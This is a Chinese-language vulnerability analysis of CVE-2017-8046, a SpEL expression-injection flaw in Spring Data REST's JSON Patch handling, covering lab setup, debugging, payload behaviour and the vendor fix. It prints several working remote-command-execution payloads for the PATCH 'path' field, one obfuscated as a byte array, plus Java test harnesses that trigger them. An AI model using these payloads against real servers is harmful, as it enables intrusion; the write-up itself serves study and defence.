CVE-2017-8046 Spring Data REST命令执行漏洞

CVE-2017-8046 Spring Data REST命令执行漏洞

如有错误,敬请斧正!

漏洞简介

简要说明

该漏洞是由于“Spring表达式语言”Spring Expression Language (SpEL) 导致的问题。漏洞原因可以归属于“表达式注入”。

影响版本

  • Spring Data REST组件的2.6.9 and 3.0.9之前的版本(不包含2.6.9和3.0.9 )
  • Spring Boot (如果使用了Spring Data REST模块)的1.5.9 和 2.0 M6之前的版本

这个漏洞真正影响的就是Spring Data REST组件,完整的名称是 spring-data-rest-webmvc-x.x.x.RELEASE.jar

漏洞利用条件

  • 真实环境中一般会需要登录系统,除非接口存在未授权访问漏洞

基础知识

Spring Expression Language (SpEL)

package com.example.accessingdatarest;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class spelTest {

    public static void main(String[] args) {

        //创建ExpressionParser解析表达式
        ExpressionParser parser = new SpelExpressionParser();
        //表达式放置
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");//success

        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[]");//NullPointerException
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[1]");//success
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[a]");//success

        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").a");//success
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").1");//SpelParseException
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").");//SpelParseException

        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/a");//success
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/1");//success
        Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/");//SpelParseException
        Object value = exp.getValue();
        System.out.println(value);

        exp.setValue(new Person(),"111");//为了测试set方法对“尾巴”的需求
    }
}

image.png

关于JSON Patch

JSON Patch 就是以JSON格式来描述一个对JSON文档(到了web后端,可能是一个对象)的操作,操作包括【增、删、改、移动、复制、测试】

可以在 http://jsonpatch.com/ 上进一步了解。

漏洞复现

环境搭建

首先克隆如下项目到本地

git clone https://github.com/spring-guides/gs-accessing-data-rest.git

然后使用IDE打开其中的complete项目,并修改pom.xml中的spring-boot-starter-parent版本为1.5.6.RELEASE(存在漏洞的版本)。运行 src\main\java\com\example\accessingdatarest\AccessingDataRestApplication.java 启动web程序。

先创建一个用户,需要使用POST方法+JSON格式

image.png

使用PATCH方法修改一个用户的信息,这有助于我们理解JSON PATCH。

image.png

漏洞验证PoC

运行com.example.accessingdatarest.AccessingDataRestApplication。修改如上PATCH请求的path参数的值为如下值。然后通过burp发起请求,成功执行命令。

T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99, 97, 108, 99, 46, 101, 120, 101}))/lastName

//一些其他可用poc,值得注意的是("calc.exe")后面都有“尾巴”,如果没有这些尾巴,PoC将不能正确触发。

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/1

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/a

//在后续的处理过程中,斜杠会被替换成点号,点号表示访问属性

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[1]

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[a]

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").a

image.png

漏洞分析

在java.lang.Runtime#exec(java.lang.String)处下断点,并以debug模式运行com.example.accessingdatarest.AccessingDataRestApplication。和上面一样修改PATCH请求的path参数的值为payload,然后发起请求。 通过断点获取到如下调用栈信息:

getRuntime():58, Runtime (java.lang)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):62, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):498, Method (java.lang.reflect)
execute(EvaluationContext, Object, Object[]):113, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal(EvaluationContext, Object, TypeDescriptor, Object[]):129, MethodReference (org.springframework.expression.spel.ast)
getValueInternal(ExpressionState):85, MethodReference (org.springframework.expression.spel.ast)
getValueRef(ExpressionState):57, CompoundExpression (org.springframework.expression.spel.ast)
setValue(ExpressionState, Object):95, CompoundExpression (org.springframework.expression.spel.ast)
setValue(Object, Object):438, SpelExpression (org.springframework.expression.spel.standard)
setValueOnTarget(Object, Object):167, PatchOperation (org.springframework.data.rest.webmvc.json.patch)
perform(Object, Class):41, ReplaceOperation (org.springframework.data.rest.webmvc.json.patch)
//我们可以从这里自己实现一个例子来验证漏洞。

apply(Object, Class):64, Patch (org.springframework.data.rest.webmvc.json.patch)
applyPatch(InputStream, Object):91, JsonPatchHandler (org.springframework.data.rest.webmvc.config)
apply(IncomingRequest, Object):83, JsonPatchHandler (org.springframework.data.rest.webmvc.config)
//开始处理JSON-Patch

readPatch(IncomingRequest, ObjectMapper, Object):206, PersistentEntityResourceHandlerMethodArgumentResolver (org.springframework.data.rest.webmvc.config)
read(RootResourceInformation, IncomingRequest, HttpMessageConverter, Object):184, PersistentEntityResourceHandlerMethodArgumentResolver (org.springframework.data.rest.webmvc.config)
resolveArgument(MethodParameter, ModelAndViewContainer, NativeWebRequest, WebDataBinderFactory):141, PersistentEntityResourceHandlerMethodArgumentResolver (org.springframework.data.rest.webmvc.config)
resolveArgument(MethodParameter, ModelAndViewContainer, NativeWebRequest, WebDataBinderFactory):121, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues(NativeWebRequest, ModelAndViewContainer, Object[]):158, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest(NativeWebRequest, ModelAndViewContainer, Object[]):128, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle(ServletWebRequest, ModelAndViewContainer, Object[]):97, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod(HttpServletRequest, HttpServletResponse, HandlerMethod):827, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal(HttpServletRequest, HttpServletResponse, HandlerMethod):738, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle(HttpServletRequest, HttpServletResponse, Object):85, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch(HttpServletRequest, HttpServletResponse):967, DispatcherServlet (org.springframework.web.servlet)
doService(HttpServletRequest, HttpServletResponse):901, DispatcherServlet (org.springframework.web.servlet)
processRequest(HttpServletRequest, HttpServletResponse):970, FrameworkServlet (org.springframework.web.servlet)
service(HttpServletRequest, HttpServletResponse):843, FrameworkServlet (org.springframework.web.servlet)
//servlet的处理逻辑

//以下都是web容器的处理逻辑
service(ServletRequest, ServletResponse):742, HttpServlet (javax.servlet.http)
//..省略大量内容
run():61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run():745, Thread (java.lang)

通过上面的调用栈,发现问题的关键在于org.springframework.data.rest.webmvc.json.patch.ReplaceOperation#perform方法的后续逻辑。所以我尝试自己编写本地测试代码来进行漏洞复现,以便于理清漏洞触发流程。

本地测试一

由于org.springframework.data.rest.webmvc.json.patch.ReplaceOperation#perform方法的是protected的,我们的测试代码在com.example.accessingdatarest这个包中,无权限访问它。首先想到的方法就是通过反射方式来失效调用,代码如下。

package com.example.accessingdatarest;

import org.springframework.data.rest.webmvc.json.patch.ReplaceOperation;
import java.lang.reflect.Method;
import java.util.Arrays;

public class test {
    public static void main(String[] args) throws Exception {
        //path参数中后面的“/11”不能少,其底层方法使用“/”来做字符串分割的
        ReplaceOperation patchReplace = new ReplaceOperation("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/11","xxx");

        //getMethods不能获取到我们想要的perform方法,因为getMethods只返回公共方法
        Method[] methods = ReplaceOperation.class.getMethods();
        System.out.println(Arrays.asList(methods).toString());
        for (Method method: methods){
            System.out.println(method.getName());
        }

        //同上,只返回公共方法!
        //Method method = ReplaceOperation.class.getMethod("perform", Object.class, Class.class);

        //patchReplace.perform(new Person(),Person.class); //本来应该使用这个方法直接调用,但是perform函数不是public的。只好用反射来实现。

        Method method1 = ReplaceOperation.class.getDeclaredMethod("perform", Object.class, Class.class);
        Object[] argsxx= {new Person(),Person.class};
        method1.setAccessible(true);
        method1.invoke(patchReplace,argsxx);
    }
}

image.png

本地测试二

上面的方法是首先想到的,却不是最简单的方法。后来想到可以在相同的package中创建测试类,就简便多了。

package org.springframework.data.rest.webmvc.json.patch;
//创建一个和ReplaceOperation类一模一样的包名。这样当前类和ReplaceOperation类就处于同一个pacak中,就可以直接调用perform方法了。

import com.example.accessingdatarest.Person;

public class test {
    public static void main(String[] args) throws Exception {
        //path参数中后面的“/11”不能少,其底层方法使用“/”来做字符串分割的,并使用“.”点号重新拼接。
        ReplaceOperation patchReplace = new ReplaceOperation("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/11","xxx");
        //变形payload
        //ReplaceOperation patchReplace = new ReplaceOperation("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[a]","xxx");
        patchReplace.perform(new Person(),Person.class); //本来应该使用这个方法直接调用,但是perform函数不是public的。只好用反射来实现。
    }
}

image.png

关于payload的“尾巴”

在上面的PoC复现和测试过程中,我们注意到一个现象:

1、spelTest中的代码,正常触发的payload,不需要“尾巴”

2、而我们的漏洞PoC,ReplaceOperation的操作,则需要“尾巴”,否则不会触发。

这是怎么回事呢?仍然以ReplaceOperation的触发逻辑进行说明。

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")
这个不带尾巴的payload,会被分隔为三个部分, 后续会进入到org.springframework.expression.spel.ast.CompoundExpression#getValueRef的逻辑中:

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/1
带有以上“尾巴”的会被分隔为四个部分,如下图:

image.png

image.png

经过长时间的分析对比,问题的关键出在org.springframework.expression.spel.ast.CompoundExpression#getValueRef函数。它依次使用getValueInternal()处理每个节点。

而最后一个节点是用getValueRef处理,getValueRef的内容是直接抛出异常,也就是说最后一个节点不会被真正执行。“尾巴”的作用是为了保证真正需要被执行的内容(比如exec)不是最后一个节点,所以“尾巴”只要保证格式正确,内容不重要。

image.png

各种JSON-Patch操作和“尾巴”的关系

经过测试,不同的op对“尾巴”的要求不一样,通过测试得出如下规律,以及导致这个规律的根本原因。

add    -- 命令会被执行三次,payload需要尾巴!!!  本质是set操作
replace-- 命令会被执行一次,payload需要尾巴        本质是set操作

test   -- 命令会被执行一次,payload不需要尾巴 本质是get操作
remove -- 命令会被执行一次,payload不需要尾巴 本质是get操作
move   -- 命令会被执行一次,payload不需要尾巴 本质是get操作
copy   -- 命令会被执行一次,payload不需要尾巴 本质是get操作

我们可以得出这样的结论:
set操作相关的方法一定需要“尾巴”才能成功触发。原因就是如上一个步骤,org.springframework.expression.spel.ast.CompoundExpression#getValueRef是关键点
get操作相关的方法,有没有“尾巴”都能成功触发。有尾巴的情况和set操作的一致;没有尾巴的payload触发流程则和它们不同。

image.png

image.png

漏洞修复思路

通过分析1.5.10.RELEASE版本中的修复方案,可以看出是通过verifyPath函数对收到的请求中的path进行判断。

image.png

在Spring Data REST中,path的本质是目标对象的属性,修复方案的关键逻辑是:尝试从目标对象的类中(这个例子中就是com.example.accessingdatarest.Person这个class)获取这个属性(也就是path),如果不存就抛出异常。相当于一个白名单。

image.png

也就是说,只要经过解析得到的path不是类的属性名称,就会报错,完全没有绕过这个过滤的可能。

image.png

参考链接

环境搭建:

https://blog.spoock.com/2018/05/22/cve-2017-8046/

SpEL表达式注入漏洞案例

https://mp.weixin.qq.com/s/zK5psO114C7Z6XPynDhIKQ

Spring官方的漏洞公告:

https://spring.io/blog/2018/03/06/security-issue-in-spring-data-rest-cve-2017-8046

exploit-db上的漏洞PoC:

https://www.exploit-db.com/exploits/44289

漏洞发现者的文章:

https://blog.semmle.com/spring-data-rest-CVE-2017-8046/

https://securitylab.github.com/research/spring-data-rest-CVE-2017-8046-ql